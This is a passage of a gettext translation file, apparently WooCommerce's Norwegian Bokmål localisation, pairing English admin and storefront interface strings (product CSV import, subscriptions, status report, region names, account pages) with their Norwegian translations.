#: includes/admin/importers/class-wc-product-csv-importer-controller.php:850
msgid "Download URL"
msgstr "Nedlastingsadresse"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:849
msgid "Download name"
msgstr "Nedlastings navn"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:839
#: assets/client/admin/chunks/9670.js:1
msgid "External product"
msgstr "Eksternt produkt"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:812
msgctxt "Quantity in stock"
msgid "Stock"
msgstr "Lager"
#. translators: %d: Meta number
#. translators: %s: meta data name
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:696
#: includes/export/class-wc-product-csv-exporter.php:792
msgid "Meta: %s"
msgstr "Meta: %s"
#. translators: %d: Download number
#. translators: %s: download number
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:694
#: includes/export/class-wc-product-csv-exporter.php:675
msgid "Download %d URL"
msgstr "Nedlasting %d URL"
#. translators: %d: Download number
#. translators: %s: download number
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:692
#: includes/export/class-wc-product-csv-exporter.php:673
msgid "Download %d name"
msgstr "Nedlasting %d navn"
#. translators: %d: Attribute number
#. translators: %s: attribute number
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:688
#: includes/export/class-wc-product-csv-exporter.php:746
msgid "Attribute %d default"
msgstr "Attributt %d standard"
#. translators: %d: Attribute number
#. translators: %s: attribute number
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:686
#: includes/export/class-wc-product-csv-exporter.php:708
msgid "Attribute %d global"
msgstr "Attributt %d global"
#. translators: %d: Attribute number
#. translators: %s: attribute number
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:684
#: includes/export/class-wc-product-csv-exporter.php:706
msgid "Attribute %d visible"
msgstr "Attributt %d synlig"
#. translators: %d: Attribute number
#. translators: %s: attribute number
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:682
#: includes/export/class-wc-product-csv-exporter.php:704
msgid "Attribute %d value(s)"
msgstr "Attributt %d verdi(er)"
#. translators: %d: Attribute number
#. translators: %s: attribute number
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:680
#: includes/export/class-wc-product-csv-exporter.php:702
msgid "Attribute %d name"
msgstr "Attributt %d navn"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:652
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:841
#: includes/export/class-wc-product-csv-exporter.php:170
msgid "External URL"
msgstr "Ekstern nettadresse"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:647
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:852
#: includes/export/class-wc-product-csv-exporter.php:165
msgid "Download expiry days"
msgstr "Dager til utløpsdato for nedlastingen"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:645
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:833
#: includes/export/class-wc-product-csv-exporter.php:163
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:503
#: assets/client/admin/chunks/2672.js:2
msgid "Images"
msgstr "Bilder"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:638
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:865
#: includes/export/class-wc-product-csv-exporter.php:156
msgid "Allow customer reviews?"
msgstr "Tillat omtaler?"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:627
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:813
#: includes/export/class-wc-product-csv-exporter.php:146
msgid "Backorders allowed?"
msgstr "Restordre tillatt?"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:622
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:806
#: includes/export/class-wc-product-csv-exporter.php:140
msgid "Date sale price ends"
msgstr "Sluttdato for tilbudspris"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:621
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:805
#: includes/export/class-wc-product-csv-exporter.php:139
msgid "Date sale price starts"
msgstr "Startdato for tilbudspris"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:619
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:798
#: includes/export/class-wc-product-csv-exporter.php:137
msgid "Short description"
msgstr "Kort beskrivelse"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:618
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:797
#: includes/export/class-wc-product-csv-exporter.php:136
msgid "Visibility in catalog"
msgstr "Synlighet i katalogen"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:617
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:796
#: includes/export/class-wc-product-csv-exporter.php:135
msgid "Is featured?"
msgstr "Er fremhevet?"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:616
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:795
#: includes/export/class-wc-product-csv-exporter.php:134
#: assets/client/admin/chunks/4706.js:1
msgid "Published"
msgstr "Publisert"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:126
#: includes/admin/importers/class-wc-tax-rate-importer.php:235
#: includes/admin/importers/class-wc-tax-rate-importer.php:246
#: includes/import/class-wc-product-csv-importer.php:101
msgid "Invalid file type. The importer supports CSV and TXT file formats."
msgstr "Ugyldig filtype. Import-funksjonen støtter CSV og TXT filformat."
#: src/Internal/Admin/ImportExport/CSVUploadHelper.php:75
msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini."
msgstr "Filen er tom. Vennligst last opp noe mer betydelig. Denne feilen kan også skyldes av at opplastinger blir deaktivert i php.ini eller at post_max_size er definert som mindre enn upload_max_filesize i php.ini."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:166
msgid "Done!"
msgstr "Ferdig!"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:156
msgid "Column mapping"
msgstr "Kolonne tilknytting"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:151
msgid "Upload CSV file"
msgstr "Last opp CSV-fil"
#: includes/admin/helper/views/html-section-nav.php:20
msgid "Browse Extensions"
msgstr "Bla gjennom utvidelser"
#: includes/admin/helper/views/html-section-account.php:12
#: assets/client/admin/app/index.js:2 assets/client/admin/embed/index.js:2
msgid "Disconnect"
msgstr "Koble fra"
#: includes/admin/helper/views/html-section-account.php:11
msgid "My Subscriptions"
msgstr "Mine abonnement"
#: includes/admin/helper/views/html-section-account.php:6
#: includes/admin/views/html-admin-page-status-report.php:764
#: assets/client/admin/app/index.js:2 assets/client/admin/embed/index.js:2
msgid "Connected to WooCommerce.com"
msgstr "Koble til WooCommerce.com"
#: includes/admin/helper/views/html-oauth-start.php:38
#: assets/client/admin/chunks/5875.js:1 assets/client/admin/chunks/6526.js:1
#: assets/client/admin/chunks/marketplace.js:1
msgid "Connect"
msgstr "Koble til"
#: includes/admin/helper/views/html-oauth-start.php:37
msgid "Once connected, your WooCommerce.com purchases will be listed here."
msgstr "Så snart du er koblet til, vil dine WooCommerce.com kjøp vises her."
#: includes/admin/helper/views/html-oauth-start.php:36
msgid "Manage your subscriptions, get important product notifications, and updates, all from the convenience of your WooCommerce dashboard"
msgstr "Rediger abonnementene dine, få viktige produktvarsler og oppdateringer, alt fra ditt brukervennlige WooCommerce-kontrollpanel"
#: includes/admin/helper/views/html-main.php:200
msgid "Installed Extensions without a Subscription"
msgstr "Installerte utvidelser uten et abonnement"
#: includes/admin/helper/views/html-main.php:193
msgid "Could not find any subscriptions on your WooCommerce.com account"
msgstr "Kunne ikke finne noen abonnement på WooCommerce.com-kontoen din"
#: includes/admin/helper/class-wc-helper.php:470
#: includes/admin/helper/views/html-main.php:153
#: includes/admin/helper/views/html-main.php:156
#: includes/admin/helper/views/html-main.php:163
#: includes/admin/helper/views/html-main.php:166
#: includes/admin/helper/views/html-main.php:219
#: includes/admin/helper/views/html-main.php:222
#: assets/client/admin/chunks/settings-payments-main.js:1
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Inactive"
msgstr "Inaktiv"
#: includes/admin/helper/views/html-main.php:138
msgid "Upgrade"
msgstr "Oppgrader"
#. translators: Email address of person who shared the subscription.
#: includes/admin/helper/views/html-main.php:127
#: includes/admin/helper/views/html-main.php:130
msgid "Shared by %s"
msgstr "Delt av %s"
#: includes/admin/helper/views/html-main.php:121
msgid "Subscription: Unlimited"
msgstr "Abonnement: ubegrenset"
#. translators: %1$d: sites active, %2$d max sites active
#: includes/admin/helper/views/html-main.php:119
msgid "Subscription: Using %1$d of %2$d sites available"
msgstr "Abonnement: bruker %1$d av %2$d tilgjengelige nettsteder"
#. translators: %1$d: sites active, %2$d max sites active
#: includes/admin/helper/views/html-main.php:116
msgid "Subscription: Not available - %1$d of %2$d already in use"
msgstr "Abonnement: ikke tilgjengelig - %1$d av %2$d allerede i bruk"
#: includes/admin/helper/views/html-main.php:106
msgid "Expires on:"
msgstr "Utgår på:"
#: includes/admin/helper/views/html-main.php:101
msgid "Expiring soon!"
msgstr "Utgår snart!"
#: includes/admin/helper/views/html-main.php:96
msgid "Auto renews on:"
msgstr "Fornyes automatisk på:"
#: includes/admin/helper/views/html-main.php:91
msgid "Expired :("
msgstr "Utløpt :("
#: includes/admin/helper/views/html-main.php:18
#: src/Internal/Admin/Onboarding/OnboardingProducts.php:40
msgid "Subscriptions"
msgstr "Abonnementer"
#: includes/admin/helper/views/html-main.php:13
#: includes/admin/helper/views/html-oauth-start.php:14
msgid "WooCommerce Extensions"
msgstr "WooCommerce Utvidelser"
#: includes/admin/helper/views/html-helper-compat.php:5
msgid "We've made things simpler and easier to manage moving forward. From now on you can manage all your WooCommerce purchases directly from the Extensions menu within the WooCommerce plugin itself. <a href=\"%s\">View and manage</a> your extensions now."
msgstr "Vi har gjort ting enklere å håndtere fremover. Fra nå av kan du administrere alle dine WooCommerce-kjøp direkte fra Utvidelser-menyen i WooCommerce. <a href=\"%s\">Se og administrer</a> dine utvidelser nå."
#: includes/admin/helper/views/html-helper-compat.php:4
msgid "Looking for the WooCommerce Helper?"
msgstr "Ser du etter WooCommerce hjelperen?"
#. translators: %1$s: helper url, %2$d: number of extensions
#: includes/admin/helper/class-wc-helper.php:2456
msgid "Note: You currently have <a href=\"%1$s\">%2$d paid extension</a> which should be updated first before updating WooCommerce."
msgid_plural "Note: You currently have <a href=\"%1$s\">%2$d paid extensions</a> which should be updated first before updating WooCommerce."
msgstr[0] "Merk: Du har for øyeblikket <a href=\"%1$s\">%2$d betalt utvidelse</a> som bør oppdateres først før du oppdaterer WooCommerce."
msgstr[1] "Merk: Du har for øyeblikket <a href=\"%1$s\">%2$d betalte utvidelser</a> som bør oppdateres først før du oppdaterer WooCommerce."
#: includes/admin/helper/class-wc-helper.php:717
msgid "Authentication and subscription caches refreshed successfully."
msgstr "Mellomlager for autentisering og abonnementer ble oppdatert."
#: includes/admin/helper/class-wc-helper.php:710
#: includes/cli/class-wc-cli-com-command.php:124
msgid "You have successfully disconnected your store from WooCommerce.com"
msgstr "Du har koblet fra butikken din fra WooCommerce.com"
#: includes/admin/helper/class-wc-helper.php:703
msgid "You have successfully connected your store to WooCommerce.com"
msgstr "Du har koblet til butikken din til WooCommerce.com"
#. translators: %1$s: product name, %2$s: plugins screen url
#: includes/admin/helper/class-wc-helper.php:694
msgid "An error has occurred when deactivating the extension %1$s. Please proceed to the <a href=\"%2$s\">Plugins screen</a> to deactivate it manually."
msgstr "Det har oppstått en feil ved deaktivering av utvidelsen %1$s. Fortsett til <a href=\"%2$s\">Utvidelses skjermbildet</a> for å deaktivere det manuelt."
#. translators: %s: product name
#: includes/admin/helper/class-wc-helper.php:681
msgid "The extension %s has been deactivated successfully."
msgstr "Utvidelsen %s har vellykket blitt deaktivert."
#. translators: %s: product name
#: includes/admin/helper/class-wc-helper.php:668
msgid "An error has occurred when deactivating the subscription for %s. Please try again later."
msgstr "Det har oppstått en feil ved deaktivering av abonnementet for %s. Prøv igjen senere."
#. translators: %1$s: product name, %2$s: deactivate url
#: includes/admin/helper/class-wc-helper.php:649
msgid "Subscription for %1$s deactivated successfully. You will no longer receive updates for this product. <a href=\"%2$s\">Click here</a> if you wish to deactivate the plugin as well."
msgstr "Abonnementet for %1$s ble deaktivert. Du vil ikke lenger motta oppdateringer for dette produktet. <a href=\"%2$s\">Trykk her</a> hvis du også vil deaktivere utvidelsen."
#. translators: %s: product name
#: includes/admin/helper/class-wc-helper.php:630
msgid "Subscription for %s deactivated successfully. You will no longer receive updates for this product."
msgstr "Abonnementet for %s er vellykket deaktivert. Du vil ikke lenger motta oppdateringer for dette produktet."
#. translators: %s: product name
#: includes/admin/helper/class-wc-helper.php:617
msgid "An error has occurred when activating %s. Please try again later."
msgstr "Det har oppstått en feil under aktivering av %s. Prøv igjen senere."
#. translators: %s: product name
#: includes/admin/helper/class-wc-helper.php:604
msgid "%s activated successfully. You will now receive updates for this product."
msgstr "%s er vellykket aktivert. Du vil nå motta oppdateringer for dette produktet."
#. translators: %s: version number
#: includes/admin/helper/class-wc-helper.php:390
msgid "Version %s is <strong>available</strong>. To enable this update you need to <strong>purchase</strong> a new subscription."
msgstr "Versjon %s er <strong>tilgjengelig</strong>. For å aktivere denne oppdateringen må du <strong>kjøpe</strong> et nytt abonnement."
#: includes/admin/helper/class-wc-helper.php:339
msgid "This subscription is expiring soon. Please <strong>renew</strong> to continue receiving updates and support."
msgstr "Dette abonnementet utgår snart. Vennligst <strong>forny</strong> for å fortsatt få oppdateringer og støtte."
#: includes/admin/helper/class-wc-helper.php:326
msgid "Enable auto-renew"
msgstr "Slå på automatisk fornying"
#: includes/admin/helper/class-wc-helper.php:325
msgid "Subscription is <strong>expiring</strong> soon."
msgstr "Abonnement <strong>utløper</strong> snart."
#: includes/admin/helper/class-wc-helper.php:311
#: includes/admin/helper/class-wc-helper.php:340
#: src/Admin/PluginsHelper.php:822 src/Admin/PluginsHelper.php:1022
#: assets/client/admin/chunks/marketplace.js:1
msgid "Renew"
msgstr "Forny"
#: includes/admin/helper/class-wc-helper.php:310
msgid "This subscription has expired. Please <strong>renew</strong> to receive updates and support."
msgstr "Dette abonnementet har utgått. Vennligst <strong>forny</strong> for å få oppdateringer og støtte."
#: includes/admin/helper/class-wc-helper.php:302
msgid "This subscription has expired. Contact the owner to <strong>renew</strong> the subscription to receive updates and support."
msgstr "Dette abonnementet har utgått. Kontankt eieren for å <strong>fornye</strong> abonnementet for å få oppdateringer og støtte."
#: includes/admin/helper/class-wc-helper.php:292
msgid "To enable this update you need to <strong>purchase</strong> a new subscription."
msgstr "For å aktivere denne oppdateringen må du <strong>kjøpe</strong> et nytt abonnement."
#: includes/admin/helper/class-wc-helper.php:276
msgid "To enable this update you need to <strong>activate</strong> this subscription."
msgstr "For å aktivere denne oppdateringen må du <strong>aktivere</strong> dette abonnementet."
#. translators: %s: version number
#: includes/admin/helper/class-wc-helper.php:267
#: includes/admin/helper/class-wc-helper.php:287
msgid "Version %s is <strong>available</strong>."
msgstr "Versjon %s er <strong>tilgjengelig</strong>."
#: includes/admin/helper/class-wc-helper-compat.php:186
msgid "WooCommerce Helper"
msgstr "WooCommerce hjelper"
#: includes/admin/class-wc-admin-webhooks.php:322
msgid "Create a new webhook"
msgstr "Opprett en ny webhook"
#: includes/admin/class-wc-admin-webhooks.php:321
msgid "Webhooks are event notifications sent to URLs of your choice. They can be used to integrate with third-party services which support them."
msgstr "Webhooks er hendelsesvarsler som sendes til nettadresser etter eget valg. De kan brukes til å integrere med tredjepartstjenester som støtter dem."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:416
msgid "Safe and secure payments using credit cards or your customer's PayPal account."
msgstr "Sikre og trygge betalinger som bruker kundens kredittkort eller PayPal konto."
#: includes/admin/class-wc-admin-profile.php:99
msgid "Copy from billing address"
msgstr "Kopier fra fakturaadresse"
#: includes/admin/importers/views/html-product-csv-import-form.php:14
msgid "Import products from a CSV file"
msgstr "Importer produkter fra en CSV-fil"
#: includes/admin/class-wc-admin-post-types.php:784
msgid "This is a featured product"
msgstr "Dette er et fremhevet produkt"
#: includes/admin/class-wc-admin-post-types.php:778
msgid "This setting determines which shop pages products will be listed on."
msgstr "Denne innstillingen bestemmer på hvilke butikksider produkter vil bli vist."
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:397
msgid "Filter by product type"
msgstr "Filtrer på produkttype"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:373
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:381
msgid "Filter by category"
msgstr "Filtrer på kategori"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:468
msgid "Sorting"
msgstr "Sortering"
#: includes/admin/class-wc-admin-importers.php:142
msgid "Import <strong>products</strong> to your store via a csv file."
msgstr "Importer <strong>produkter</strong> til din butikk gjennom en CSV-fil."
#: includes/admin/class-wc-admin-importers.php:142
msgid "WooCommerce products (CSV)"
msgstr "WooCommerce produkter (CSV)"
#: includes/admin/class-wc-admin-importers.php:50
msgid "Product Import"
msgstr "Produkt import"
#: includes/admin/class-wc-admin-exporters.php:46
msgid "Product Export"
msgstr "Produkt Eksport"
#: includes/admin/class-wc-admin-customize.php:85
msgid "Custom Link"
msgstr "Tilpasset lenke"
#: includes/admin/class-wc-admin-customize.php:40
msgid "WooCommerce Endpoint"
msgstr "WooCommerce-endepunkt"
#: includes/admin/class-wc-admin-attributes.php:191
msgid "Back to Attributes"
msgstr "Tilbake til attributter"
#: includes/admin/class-wc-admin-assets.php:729
msgid "Are you sure you want to delete this log?"
msgstr "Er du sikker på at du vil slette denne loggen?"
#: includes/admin/class-wc-admin-assets.php:434
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Export"
msgstr "Eksporter"
#: includes/admin/class-wc-admin-assets.php:433
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:161
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Import"
msgstr "Importer"
#: includes/admin/class-wc-admin-api-keys.php:118
msgid "Create an API key"
msgstr "Opprett en API-nøkkel"
#: includes/admin/class-wc-admin-api-keys.php:117
msgid "The WooCommerce REST API allows external apps to view and manage store data. Access is granted only to those with valid API keys."
msgstr "WooCommerce REST API lar eksterne apper se og administrere butikkdata. Tilgang gis bare til de med gyldige API-nøkler."
#: includes/admin/class-wc-admin-setup-wizard.php:803
#: includes/admin/class-wc-admin-setup-wizard.php:820
msgid "WooCommerce Services"
msgstr "WooCommerce Services"
#: i18n/states.php:1668
msgid "Vrancea"
msgstr "Vrancea"
#: i18n/states.php:1667
msgid "Vaslui"
msgstr "Vaslui"
#: i18n/states.php:1666
msgid "Vâlcea"
msgstr "Vâlcea"
#: i18n/states.php:1665
msgid "Tulcea"
msgstr "Tulcea"
#: i18n/states.php:1664
msgid "Timiș"
msgstr "Timiș"
#: i18n/states.php:1663
msgid "Teleorman"
msgstr "Teleorman"
#: i18n/states.php:1662
msgid "Suceava"
msgstr "Suceava"
#: i18n/states.php:1661
msgid "Sibiu"
msgstr "Sibiu"
#: i18n/states.php:1660
msgid "Satu Mare"
msgstr "Satu Mare"
#: i18n/states.php:1659
msgid "Sălaj"
msgstr "Sălaj"
#: i18n/states.php:1658
msgid "Prahova"
msgstr "Prahova"
#: i18n/states.php:1657
msgid "Olt"
msgstr "Olt"
#: i18n/states.php:1656
msgid "Neamț"
msgstr "Neamț"
#: i18n/states.php:1655
msgid "Mureș"
msgstr "Mureș"
#: i18n/states.php:1654
msgid "Mehedinți"
msgstr "Mehedinți"
#: i18n/states.php:1653
msgid "Maramureș"
msgstr "Maramureș"
#: i18n/states.php:1652
msgid "Ilfov"
msgstr "Ilfov"
#: i18n/states.php:1650
msgid "Ialomița"
msgstr "Ialomița"
#: i18n/states.php:1649
msgid "Hunedoara"
msgstr "Hunedoara"
#: i18n/states.php:1648
msgid "Harghita"
msgstr "Harghita"
#: i18n/states.php:1647
msgid "Gorj"
msgstr "Gorj"
#: i18n/states.php:1646
msgid "Giurgiu"
msgstr "Giurgiu"
#: i18n/states.php:1645
msgid "Galați"
msgstr "Galați"
#: i18n/states.php:1644
msgid "Dolj"
msgstr "Dolj"
#: i18n/states.php:1642
msgid "Covasna"
msgstr "Covasna"
#: i18n/states.php:1641
msgid "Constanța"
msgstr "Constanța"
#: i18n/states.php:1640
msgid "Cluj"
msgstr "Cluj"
#: i18n/states.php:1639
msgid "Caraș-Severin"
msgstr "Caraș-Severin"
#: i18n/states.php:1637
msgid "Buzău"
msgstr "Buzău"
#: i18n/states.php:1636
msgid "București"
msgstr "București"
#: i18n/states.php:1635
msgid "Brașov"
msgstr "Brașov"
#: i18n/states.php:1634
msgid "Brăila"
msgstr "Brăila"
#: i18n/states.php:1633
msgid "Botoșani"
msgstr "Botoșani"
#: i18n/states.php:1632
msgid "Bistrița-Năsăud"
msgstr "Bistrița-Năsăud"
#: i18n/states.php:1631
msgid "Bihor"
msgstr "Bihor"
#: i18n/states.php:1630
msgid "Bacău"
msgstr "Bacău"
#: i18n/states.php:1629
msgid "Argeș"
msgstr "Argeș"
#: i18n/states.php:1628
msgid "Arad"
msgstr "Arad"
#: i18n/states.php:1627
msgid "Alba"
msgstr "Alba"
#: i18n/states.php:215
msgid "Tarija"
msgstr "Tarija"
#: i18n/states.php:213
msgid "Potosí"
msgstr "Potosí"
#: i18n/states.php:212
msgid "Pando"
msgstr "Pando"
#: i18n/states.php:211
msgid "Oruro"
msgstr "Oruro"
#: i18n/states.php:210 i18n/states.php:690 i18n/states.php:1696
msgid "La Paz"
msgstr "La Paz"
#: i18n/states.php:209
msgid "Cochabamba"
msgstr "Cochabamba"
#: i18n/states.php:207
msgid "Beni"
msgstr "Beni"
#: i18n/states.php:208
msgid "Chuquisaca"
msgstr "Chuquisaca"
#. translators: %s: logout url
#: includes/shortcodes/class-wc-shortcode-my-account.php:90
#: includes/wc-template-functions.php:54
msgid "Are you sure you want to log out? <a href=\"%s\">Confirm and log out</a>"
msgstr "Er du sikker på at du vil logge ut? <a href=\"%s\">Bekreft og logg ut</a>"
#: includes/class-wc-rest-authentication.php:594
msgid "Unknown request method."
msgstr "Ukjent forespørsel-metode."
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:77
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:113
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:47
#: assets/client/admin/chunks/multichannel-marketing.js:1
#: assets/client/admin/product-editor/blocks/generic/taxonomy/create-taxonomy-modal.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Create"
msgstr "Opprett"
#: includes/cli/class-wc-cli-runner.php:115
msgid "Zone ID."
msgstr "Sone ID."
#: src/Admin/API/Reports/Downloads/Controller.php:141
msgid "ID."
msgstr "ID."
#: includes/admin/class-wc-admin-assets.php:542
#: includes/admin/meta-boxes/views/html-order-item-meta.php:63
msgid "Value (required)"
msgstr "Verdi (påkrevd)"
#: includes/admin/class-wc-admin-assets.php:541
#: includes/admin/meta-boxes/views/html-order-item-meta.php:62
msgid "Name (required)"
msgstr "Navn (påkrevd)"
#: includes/admin/meta-boxes/views/html-order-items.php:331
msgid "Recalculate"
msgstr "Beregn på nytt"
#: includes/admin/class-wc-admin-assets.php:599
msgid "Recalculate totals? This will calculate taxes based on the customers country (or the store base country) and update totals."
msgstr "Beregne totaler på nytt? Dette vil beregne avgift basert på kundens land (eller landet til butikkens baseplassering), og oppdatere totalene."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:560
msgid "All missing WooCommerce pages successfully installed"
msgstr "Alle manglende WooCommerce sider ble installert"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:634
msgid "Terms in the product visibility taxonomy."
msgstr "Termer i taksonomien for produktsynlighet."
#: includes/admin/views/html-admin-page-status-report.php:752
msgid "A list of taxonomy terms used for product visibility."
msgstr "En liste over taksonomitermer brukt for produktsynlighet."
#: includes/admin/views/html-admin-page-status-report.php:751
msgid "Taxonomies: Product visibility"
msgstr "Taksonomier: Produktsynlighet"
#. translators: %s contains the name of the original product.
#: includes/admin/class-wc-admin-duplicate-product.php:157
msgid "%s (Copy)"
msgstr "%s (Kopi)"
#: includes/class-wc-ajax.php:1087 includes/class-wc-order-item-product.php:93
msgid "Invalid product ID"
msgstr "Ugyldig produkt-ID"
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:186
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:398
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:191
#: includes/rest-api/Controllers/Version3/class-wc-rest-settings-controller.php:51
#: src/Admin/API/Notes.php:506 src/Admin/API/OnboardingProfile.php:169
#: src/Admin/API/Reports/Import/Controller.php:105
msgid "Sorry, you cannot edit this resource."
msgstr "Beklager, du kan ikke redigere denne ressursen."
#: includes/admin/views/html-bulk-edit-product.php:33
msgid "Increase existing price by (fixed amount or %):"
msgstr "Øke eksisterende pris med (fast beløp eller %):"
#: includes/admin/views/html-admin-page-status-report.php:996
msgid "Parent theme author URL"
msgstr "Nettadresse til foreldretemaforfatter"
#: includes/admin/views/html-admin-page-status-report.php:983
msgid "Parent theme version"
msgstr "Versjon på Foreldretema"
#: includes/admin/views/html-admin-page-status-report.php:978
msgid "Parent theme name"
msgstr "Navn på Foreldretema"
#: includes/admin/views/html-admin-page-status-report.php:618
msgid "Active plugins"
msgstr "Aktive utvidelser"
#: includes/admin/views/html-admin-page-status-report.php:314
msgid "Max upload size"
msgstr "Maks opplastingsstørrelse"
#: includes/admin/views/html-admin-page-status-report.php:299
msgid "MySQL version"
msgstr "MySQL-versjon"
#: includes/admin/views/html-admin-page-status-report.php:283
msgid "cURL version"
msgstr "cURL-versjon"
#: includes/admin/views/html-admin-page-status-report.php:260
msgid "PHP version"
msgstr "PHP-versjon"
#: includes/admin/views/html-admin-page-status-report.php:250
msgid "Server info"
msgstr "Serverinfo"
#: includes/admin/reports/class-wc-report-customers.php:116
msgid "Customer sales"
msgstr "Kundesalg"
#: includes/admin/meta-boxes/views/html-order-shipping.php:28
#: src/Internal/Admin/Orders/ListTable.php:1735
msgid "Shipping method"
msgstr "Fraktmåte"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:606
msgid "Customer provided note:"
msgstr "Kunden la inn et notat:"
#: includes/admin/settings/class-wc-settings-general.php:356
#: includes/admin/views/html-admin-page-status-report.php:733
msgid "Number of decimals"
msgstr "Antall desimaler"
#: includes/admin/settings/class-wc-settings-general.php:346
#: includes/admin/views/html-admin-page-status-report.php:728
msgid "Decimal separator"
msgstr "Desimalskilletegn"
#: includes/admin/settings/class-wc-settings-general.php:336
#: includes/admin/views/html-admin-page-status-report.php:723
msgid "Thousand separator"
msgstr "Tusenskilletegn"
#: includes/admin/settings/class-wc-settings-general.php:320
#: includes/admin/views/html-admin-page-status-report.php:718
msgid "Currency position"
msgstr "Valutaposisjon"
#. Author of the plugin
#: woocommerce.php
msgid "Automattic"
msgstr "Automattic"
#. translators: 1: Number of reviews, 2: Product title.
#. translators: 1: reviews count 2: product name
#. translators: 1: Number of comments, 2: Product title.
#: src/Blocks/BlockTypes/Reviews/ProductReviewsTitle.php:35
#: templates/single-product-reviews.php:34
#: assets/client/blocks/product-reviews-title.js:3
msgid "%1$s review for %2$s"
msgid_plural "%1$s reviews for %2$s"
msgstr[0] "%1$s omtale for %2$s"
msgstr[1] "%1$s omtaler for %2$s"
#: templates/single-product/product-image.php:51
msgid "Awaiting product image"
msgstr "Venter på produktbilde"
#: templates/single-product/photoswipe.php:50
msgid "Next (arrow right)"
msgstr "Neste (høyrepil)"
#: templates/single-product/photoswipe.php:49
msgid "Previous (arrow left)"
msgstr "Forrige (venstrepil)"
#: templates/single-product/photoswipe.php:34
msgid "Zoom in/out"
msgstr "Zoom in/ut"
#: templates/single-product/photoswipe.php:35
msgid "Toggle fullscreen"
msgstr "Fullskjermvisning av/på"
#: templates/single-product/photoswipe.php:36
#: assets/client/admin/customer-effort-score/index.js:1
msgid "Share"
msgstr "Del"
#: templates/single-product/photoswipe.php:37
msgid "Close (Esc)"
msgstr "Lukk (Esc)"
#: templates/product-searchform.php:25
msgid "Search products…"
msgstr "Søk produkter…"
#. translators: 1: credit card type 2: last 4 digits
#. translators: %1$s is referring to the payment method brand, %2$s is
#. referring to the last 4 digits of the payment card.
#: templates/myaccount/payment-methods.php:49
#: assets/client/blocks/checkout.js:27
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:39
msgid "%1$s ending in %2$s"
msgstr "%1$s slutter på %2$s"
#. translators: 1: formatted order total 2: total order items
#: templates/myaccount/my-orders.php:75 templates/myaccount/orders.php:69
msgid "%1$s for %2$s item"
msgid_plural "%1$s for %2$s items"
msgstr[0] "%1$s for %2$s produkt"
msgstr[1] "%1$s for %2$s produkter"
#. translators: 1: Orders URL 2: Addresses URL 3: Account URL.
#: templates/myaccount/dashboard.php:48
msgid "From your account dashboard you can view your <a href=\"%1$s\">recent orders</a>, manage your <a href=\"%2$s\">shipping and billing addresses</a>, and <a href=\"%3$s\">edit your password and account details</a>."
msgstr "Fra din kontos kontrollpanel kan du se dine <a href=\"%1$s\">siste ordre</a>, redigere dine <a href=\"%2$s\">leverings- og fakturaadresser</a>, samt <a href=\"%3$s\">redigere passord og kontodetaljer</a>."
#. translators: 1: user display name 2: logout url
#: templates/myaccount/dashboard.php:35
msgid "Hello %1$s (not %1$s? <a href=\"%2$s\">Log out</a>)"
msgstr "Hei %1$s (ikke %1$s? <a href=\"%2$s\">Logg ut</a>)"
#. translators: %s location.
#: templates/cart/cart-totals.php:72
msgid "(estimated for %s)"
